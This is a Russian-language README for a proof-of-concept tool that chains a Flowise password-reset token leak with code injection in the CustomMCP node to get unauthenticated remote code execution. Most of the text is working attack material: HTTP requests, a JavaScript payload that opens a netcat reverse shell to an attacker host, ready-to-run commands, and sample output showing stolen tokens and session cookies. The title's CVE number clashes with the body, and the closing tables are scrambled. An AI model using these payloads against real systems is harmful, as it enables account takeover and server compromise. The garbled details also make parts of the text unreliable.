
Combined PoC for CVE-2025-28434 and CVE-2025-59528
⚠️ Только для образовательных целей и авторизованных исследований безопасности.
Запуск этого инструмента против систем, которыми вы не владеете или для тестирования которых у вас нет письменного разрешения, является незаконным.
Этот репозиторий объединяет две критические уязвимости в Flowise в единый модульный PoC-инструмент.
Две уязвимости естественным образом объединяются: CVE-2025-58434 предоставляет неаутентифицированный перехват учётной записи, что удовлетворяет требованию аутентификации для CVE-2025-59528 — достигая неаутентифицированного RCE в одном автоматизированном запуске.
Корневая причина: Конечная точка forgot-password возвращает токен сброса пароля (tempToken) непосредственно в теле HTTP-ответа вместо отправки только по электронной почте.
Шаги атаки:
POST /api/v1/account/forgot-password с любым зарегистрированным emailtempToken из JSON-ответа — доступ к почте не требуетсяPOST /api/v1/account/reset-password с утёкшим токеном → установить новый парольУтёкший ответ (сокращён):
{
"user": {
"email": "[email protected]",
"tempToken": "LEAKED_TOKEN_HERE",
"tokenExpiry": "2025-08-19T13:00:33.834Z",
"status": "active"
}
}
Корневая причина: Узел CustomMCP передаёт предоставленный пользователем mcpServerConfig непосредственно в конструктор Function() в JavaScript без санитизации. Поскольку Flowise работает в Node.js, внедрённый код имеет полный доступ к child_process, fs и всем встроенным модулям Node.js.
Уязвимый путь кода:
POST /api/v1/node-load-method/customMCP
-> convertToValidJSONString()
-> Function('return ' + mcpServerConfig)() ← несанитизированный пользовательский ввод
Необходимые заголовки:
Content-Type: application/json
x-request-from: internal
Cookie: token=<jwt>; refreshToken=<jwt>; connect.sid=<sid>
Полезная нагрузка по умолчанию (обратный шелл):
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f\");return \"shell_fired\";})()})"
}
}
Примечание: Полезные нагрузки обратного шелла используют
cp.exec()(асинхронно / "запустил и забыл"), поэтому HTTP-запрос завершается немедленно и инструмент не таймаутится. Обычные команды используютcp.execSync()и возвращают вывод встроенно.
Attacker Flowise API
│ │
│ [CVE-2025-58434] │
│ POST /forgot-password {email} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 201 { tempToken: "abc..." } │ ← token утёк в ответе
│ │
│ POST /reset-password │
│ {email, tempToken, newPassword} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 201 OK (tempToken очищен) │ ← ATO завершён
│ │
│ [CVE-2025-59528] │
│ POST /auth/login {email, newPass} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 200 OK + Set-Cookie: token=... │ ← cookies извлечены
│ │
│ POST /node-load-method/customMCP │
│ {mcpServerConfig: <js-revshell>} │
│─────────────────────────────────────►│
│ [exec() срабатывает в фоне]
│◄─────────────────────────────────────│
│ 200 {"shell_fired"} │
│ │
Слушатель nc атакующего ←────────────── Сервер подключается обратно
✓ Полный RCE с нулевыми учётными данными
| Компонент | Статус |
|---|---|
Flowise Cloud (cloud.flowiseai.com) | Затронут CVE-2025-58434 |
| Flowise самост. хостинг (все версии до патча) | Затронут обеими CVE |
Проверьте официальные уведомления безопасности Flowise для номеров исправленных релизов.
flowise-dual-cve-poc/
├── flowise_poc.py # Основной PoC — все модули + режим цепочки
├── requirements.txt # Зависимости Python
├── README.md # Этот файл
└── DISCLAIMER.md # Полное юридическое уведомление
requestsgit clone https://github.com/yourhandle/flowise-dual-cve-poc
cd flowise-dual-cve-poc
pip install -r requirements.txt
Флаг режима не требуется. Если вы запускаете скрипт без --chain или --module, он автоматически запускается в полном режиме цепочки. Полезная нагрузка RCE по умолчанию — обратный шелл — просто укажите --lhost и --lport.
# Минимальный вызов — полная цепочка + обратный шелл
python3 flowise_poc.py \
-u http://flowise.example.com \
-e [email protected] \
--lhost 10.10.16.35 \
--lport 4444
Запустите свой слушатель перед выполнением:
nc -lvnp 4444
python3 flowise_poc.py -h
Выполняет все четыре шага от начала до конца: утечка токена → сброс пароля → вход → RCE.
# Обратный шелл (полезная нагрузка по умолчанию)
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
--lhost 10.10.16.35 --lport 4444
# Пользовательская команда вместо обратного шелла
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
-c "cat /etc/passwd"
# Пользовательский пароль ATO + обратный шелл
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
-p "MyCustomPass1!" \
--lhost 10.10.16.35 --lport 9001
Утечка tempToken и сброс пароля учётной записи. Останавливается перед входом/RCE.
# Новый пароль по умолчанию
python3 flowise_poc.py --module ato \
-u http://flowise.example.com \
-e [email protected]
# Пользовательский новый пароль
python3 flowise_poc.py --module ato \
-u http://flowise.example.com \
-e [email protected] \
-p "NewPassword2025!"
# Вывод сырого JSON-ответа
python3 flowise_poc.py --module ato \
-u http://flowise.example.com \
-e [email protected] --json-output
Аутентификация и извлечение трёх сессионных cookies для ручного использования.
python3 flowise_poc.py --module login \
-u http://flowise.example.com \
-e [email protected] \
-P "password123"
# JSON-вывод для скриптов
python3 flowise_poc.py --module login \
-u http://flowise.example.com \
-e [email protected] \
-P "password123" --json-output
Выполнение на сервере. Автоматический вход, если не указан --token.
# Обратный шелл — автоматический вход
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
-e [email protected] -P "password123" \
--lhost 10.10.16.35 --lport 4444
# Пользовательская команда — автоматический вход
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
-e [email protected] -P "password123" \
-c "id"
# Ручной токен — обратный шелл
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
--token "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
--lhost 10.10.16.35 --lport 4444
# Все три cookies вручную
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
--token "eyJhbGci..." \
--refresh-token "eyJhbGci..." \
--connect-sid "s%3A4rey2nuk..." \
-c "ls /root"
--chain)| Флаг | Описание |
|---|---|
--chain | Полная цепочка: ATO → Login → RCE |
--module ato | Только перехват учётной записи |
| Флаг | Короткий | Описание | Обязательный |
|---|---|---|---|
--url | -u | Базовый URL экземпляра Flowise |
| Флаг | Короткий | Описание | По умолчанию |
|---|---|---|---|
--new-password | -p | Пароль, устанавливаемый на учётную запись жертвы после ATO | Flowise@Pwn3d2025! |
| Флаг | Короткий | Описание | По умолчанию |
|---|
Скрипт автоматически выбирает правильный режим выполнения:
Асинхронное выполнение означает, что HTTP-запрос завершается мгновенно — никаких ошибок таймаута при полезных нагрузках обратного шелла.
[Step 1] [CVE-2025-58434] Запрос токена forgot-password ...
[*] HTTP 201
────────────────────────────────────────────────────────────────────
УТЁКШИЕ ДАННЫЕ УЧЁТНОЙ ЗАПИСИ
────────────────────────────────────────────────────────────────────
tempToken : 28HYxS1UFqalMGMKVQeEdapifG0Mo...
tokenExpiry : 2026-04-13T05:14:17.621Z
────────────────────────────────────────────────────────────────────
[+] УЯЗВИМО — токен раскрыт без аутентификации!
[Step 2] [CVE-2025-58434] Сброс пароля → Flowise@Pwn3d2025!
[*] HTTP 201
[+] Сброс пароля УСПЕШЕН (tempToken очищен)
[+] Перехват учётной записи завершён → [email protected] / Flowise@Pwn3d2025!
[Step 3] [Auth] Вход для извлечения сессионных cookies ...
[*] HTTP 200
────────────────────────────────────────────────────────────────────
ИЗВЛЕЧЁННЫЕ СЕССИОННЫЕ COOKIES
────────────────────────────────────────────────────────────────────
token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
refreshToken : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
connect_sid : s%3AGIjQFOoMQOpwioeZdmlruKL6VSQ1cePu...
────────────────────────────────────────────────────────────────────
[Step 4] [CVE-2025-59528] Выполнение RCE через CustomMCP ...
[*] HTTP 200
────────────────────────────────────────────────────────────────────
РЕЗУЛЬТАТ RCE
────────────────────────────────────────────────────────────────────
Mode : Reverse Shell
LHOST : 10.10.16.35
LPORT : 4444
[+] Полезная нагрузка обратного шелла сработала!
[!] Ожидание подключения на 10.10.16.35:4444 ...
[!] Убедитесь, что ваш слушатель запущен: nc -lvnp 4444
────────────────────────────────────────────────────────────────────
[+] ЦЕПОЧКА ЗАВЕРШЕНА
tempToken только на зарегистрированный email.forgot-password.Function(), eval() или vm.runInThisContext().mcpServerConfig только как данные (например, JSON.parse()) — никогда не выполняйте его.| Дата | Событие |
|---|---|
| 2025-08-19 | CVE-2025-58434 обнаружена и сообщена |
| TBD | CVE-2025-59528 обнаружена и сообщена |
| TBD | Подтверждение вендора |
Только для образовательных целей и авторизованного тестирования на проникновение.
См. DISCLAIMER.md для полного юридического уведомления.
| CVE-2025-58434 | CVE-2025-59528 |
|---|
| Тип | Перехват учётной записи | Удалённое выполнение кода |
| Требуется аутентификация | Нет | Да (любая действительная учётная запись) |
| CVSS | 9.8 Критический | Критический |
| Затронуты | Облако + Самостоятельный хостинг | Самостоятельный хостинг |
--module login |
| Только вход и извлечение cookies |
--module rce | Только RCE |
| Всегда |
--email | -e | Целевой / для входа email | Всегда |
| Флаг | Короткий | Описание |
|---|
--login-password | -P | Пароль для модуля входа / автоматического входа в RCE |
--token | — | Ручное указание cookie token (пропускает вход) |
--refresh-token | — | Ручное указание cookie refreshToken |
--connect-sid | — | Ручное указание cookie connect.sid |
| Флаг | Короткий | Описание | По умолчанию |
|---|
--lhost | — | IP атакующего для обратного шелла | — |
--lport | — | Порт атакующего для обратного шелла | — |
--command | -c | Пользовательская команда ОС (переопределяет revshell) | id если нет lhost/lport |
--timeout | -t | HTTP таймаут (секунды) | 15 |
--json-output | -j | Вывод сырых JSON-ответов | false |
| Сценарий | Используемая полезная нагрузка | Поведение HTTP |
|---|
--lhost + --lport (без -c) | mkfifo netcat one-liner | cp.exec() — асинхронно, возвращается немедленно |
-c "..." содержит nc/mkfifo/bash -i | распознаётся как revshell | cp.exec() — асинхронно, возвращается немедленно |
-c "id" или любая другая обычная команда | пользовательская команда | cp.execSync() — блокируется, возвращает вывод |
нет -c, нет --lhost | id | cp.execSync() — блокируется, возвращает вывод |
| TBD | Выпущен патч |
| TBD | Публичное раскрытие |